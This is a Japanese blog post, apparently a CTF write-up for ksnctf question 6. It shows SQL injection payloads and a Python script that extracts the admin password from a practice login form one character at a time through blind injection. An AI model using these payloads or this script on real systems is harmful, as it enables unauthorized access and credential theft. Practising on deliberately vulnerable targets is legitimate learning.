【第1回】CTFをやってみる ksnctf

2023年08月02日
 
2023年08月02日

こんにちは。ゆーろんです。
記録がてら、CTFの備忘録をぼちぼち書いていきます。
ぼちぼち解くことを目指すので複数日またぐこともあると思いますが、よろしくお願いします。

目次

  1. 問題
  2. 解いてみる
  3. 感想

問題

国内では有名な ksnctf です。
今回の問題は以下です。

OGPサムネイル

Login - ksnctf

http://ctfq.u1tramarine.blue/q6/ https://ctfq.u1tramarine.blue/q6/

ログインフォームのURLが2つ与えられています。

ここからFLAGの文字列をどうにかして取得するということです。

解いてみる

1日目

まず入力フォームといえばSQLインジェクションが思い浮かびます。

ということで定番の” or 1=1 —を入れてみます。

以下のように表示されます。

上記コードから2点の脆弱性が確認できます。

  1. パスワードが平文で保存されている
  2. プリペアドステートメントが実装されていない

またコードからはidパラメータ入力においてSQLの条件文を満たせば写真ページが表示されることがわかります。
つまり直接パスワード自体をSQLでそのまま直接取得して表示することは厳しそうです。

2日目

SQLインジェクションにはいくつか種類があるようです。

HTTPレスポンス/リクエストなどを見た限り特に何もないようなので
ここでSQLインジェクションを深めます。

  • インバウンドSQLインジェクション
  • エラーベースSQLインジェクション
  • UNIONSインジェクション
  • ブラインドSQLインジェクション
  • マルチブルステートメント

調べる限り、ブラインドSQLインジェクションという手法が怪しそうでした。

ブラインドSQLインジェクション

Webサーバへ何種類かまたは複数のデータを送信した際のレスポンスや動作からデータベースの情報を分析する手法

ブルートフォースでやみくもにFLAG_hogehoge…と総当たりするのも大変なのでパスワードの断片情報から求めます。

まずパスワードの文字数を求めてみます。


SELECT * FROM user WHERE id="" or (SELECT length(pass) FROM user WHERE id = "admin") > 30 -- $id" AND pass="$pass"

上記のSQLとなるようにひたすらフォームに入力して調べ、Congratulationsとページが出るところを探します。

すると20より大きい場合にページが表示されます。
つまりパスワードは21文字だと判明しました。

手動で半角英語小文字から大文字、各種標準記号を検証するのは大変なのでさくっとプログラムで対処します。

処理としては以下のような機能があればいいでしょう。

  • httpでアクセスして与えられた文字をPost検証してHTTPレスポンス結果が成功(Congratulationsが返ってくる)ならばtrueを返す関数
  • 上記関数をtrueが出るまでひたすら文字を入力&21回繰り返し、trueの返り値ならば上記関数に与えた文字を記録
  • その記録を最後に表示

今回はサクッと使用できるのでPythonを使用。httpアクセスできるライブラリrequestsを使いましょう。


import requests

# Function that returns true if validation succeeds
def is_correct_word(i: int,wd: str) -> bool:
	sql = f"1' OR SUBSTR((SELECT pass FROM user WHERE id = 'admin'), {i}, 1) = '{wd}' --"
	query = {
		'id': sql,
		'pass' : ""
	}

	req = requests.post("http://ctfq.u1tramarine.blue/q6/", data=query)
	
	return ('Congratulations!' in req.text)

# Investigate password
passwd = ""
for i in range(1, 21+1):
	for j in range(33, 126+1):
		ascii = chr(j)
		if(is_correct_word(i, ascii)):
			passwd += ascii
			print(passwd)
			
			break
print("The password is", passwd)

文字解析にはASCIIを使用、ASCIIでは10進数で33番から126番までが半角全角英字、数字、記号を示す。

上記スクリプトの利用でFLAG出現。

ASCIIコード表 - IT用語辞典 e-Words

感想

久しぶりにPython書きました。

Investigate password以下はもう少しリファクタできそうに思える。

よろしければシェアしてくださいね!
タグ: CTF

関連記事